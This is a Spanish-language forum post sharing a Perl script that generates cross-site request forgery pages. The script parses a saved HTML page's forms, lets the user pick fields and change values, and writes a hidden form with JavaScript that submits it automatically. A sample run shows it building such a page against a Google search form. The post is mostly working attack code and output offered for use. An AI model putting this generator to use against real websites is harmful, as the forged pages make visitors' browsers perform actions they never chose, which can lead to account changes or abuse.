Underc0de

Programación Scripting => Perl => Mensaje iniciado por: @ed33x en Enero 27, 2011, 08:48:52 PM

Título: XSRF Generator By Xianur0
Publicado por: @ed33x en Enero 27, 2011, 08:48:52 PM
Código (perl) [Seleccionar]
#!/usr/bin/perl

#By Xianur0
#uxmal666[at]gmail.com

  use HTML::Parser;
$i = 1;
$b = 1;
my $parser = HTML::Parser->new(api_version=>3,
start_h=>[\&parsear, 'tag, attr'] ,);
print "\n\n                                       Generador XSRF By Xianur0\n\n\n";

$file = $ARGV[0] || die("Use: xsrf.pl [File]\n");

open(FILE,$file) || die "No pudo abrirse: $!";
while(<FILE>) {
$html.= $_;
}
print "\nBuscando Campos....\n";
sub parsear {
     my ($tag, $attr) = @_;
if($tag =~ "form") {
$name = $attr->{"name"};
$valor = $attr->{"action"};
$metodo = $attr->{"method"};
if($metodo eq "") { $metodo = "GET"}
print "\nFormulario ".$b.": ".$name."=>".$valor."=>".$metodo."\n";
    $form{$b} = [$name, $metodo];
$b++;
}
if($tag =~ "input") {
$name = $attr->{"name"};
$valor = $attr->{"value"};
print "Campo ".$i.": ".$name."=>".$valor."\n";
    $input{$i} = [$name, $valor];
$i++;
}
}
$parser->parse($html);
print "\nTerminado Archivo Parseado!..\n\n";
print "\nEscribe el Formulario a utilizar:\n";
$forma=<STDIN>;
chop($forma);
print "Cuantos Campos(input) utilizara?\n";
$cantidad=<STDIN>;
chop($cantidad);
for($o=1;$o<=$cantidad;$o++)
{
print "Formulario $o?\n";
$inputa=<STDIN>;
chop($inputa);
print "Desea Cambiar el Value? [y/n]\n";
$respuesta=<STDIN>;
chop($respuesta);
if($respuesta eq "y") {
print "Escriba el Nuevo Valor:\n";
$valu=<STDIN>;
chop($valu);
} else { $valu = $input{$inputa}[1]; }
$campos .='<input type="hidden" name="'.$input{$inputa}[0].'" value="'.$valu.'">';
}
print "Url Submit?\n";
$url=<STDIN>;
chop($url);
print "Generando XSRF Espere Por Favor...\n";
$xsrf = '<!-- XSRF Generator By Xianur0 -->
<form name="'.$form{$forma}[0].'" action="'.$url.'" method="'.$form{$forma}[1].'">'.$campos.'</form>
<script>document.'.$form{$forma}[0].'.submit()</script>';
open(LECTURA,">> xsrf.htm") || die "No pudo abrirse: $!";
print LECTURA $xsrf;
close(LECTURA);
print "\n\nGenerado!: xsrf.html\n\n";


ejemplo estupido de uso:
entro a google y descargo el index:
despues:

bt Desktop # perl xsrf.pl google.html


                                       Generador XSRF By Xianur0



Buscando Campos....

Formulario 1: f=>/search=>GET
Campo 1: hl=>es
Campo 2: q=>
Campo 3: btnG=>Buscar con Google
Campo 4: btnI=>Voy a tener suerte
Campo 5: meta=>
Campo 6: meta=>lr=lang_es
Campo 7: meta=>cr=countryMX

Terminado Archivo Parseado!..


Escribe el Formulario a utilizar:
1
Cuantos Campos(input) utilizara?
6
Formulario 1?
1
Desea Cambiar el Value? [y/n]
y
Escriba el Nuevo Valor:
en
Formulario 2?
2
Desea Cambiar el Value? [y/n]
y
Escriba el Nuevo Valor:
Xianur0
Formulario 3?
3
Desea Cambiar el Value? [y/n]
n
Formulario 4?
5
Desea Cambiar el Value? [y/n]
n
Formulario 5?
6
Desea Cambiar el Value? [y/n]
n
Formulario 6?
7
Desea Cambiar el Value? [y/n]
n
Url Submit?
http://www.google.com/search
Generando XSRF Espere Por Favor...


Generado!: xsrf.html


Resultado:

<!-- XSRF Generator By Xianur0 -->
<form name="f" action="http://www.google.com/search" method="GET"><input type="hidden" name="hl" value="en"><input type="hidden" name="q" value="Xianur0"><input type="hidden" name="btnG" value="Buscar con Google"><input type="hidden" name="meta" value=""><input type="hidden" name="meta" value="lr=lang_es"><input type="hidden" name="meta" value="cr=countryMX"></form>
<script>document.f.submit()</script>


y se hace una busqueda con mi nick xD...

Saludos!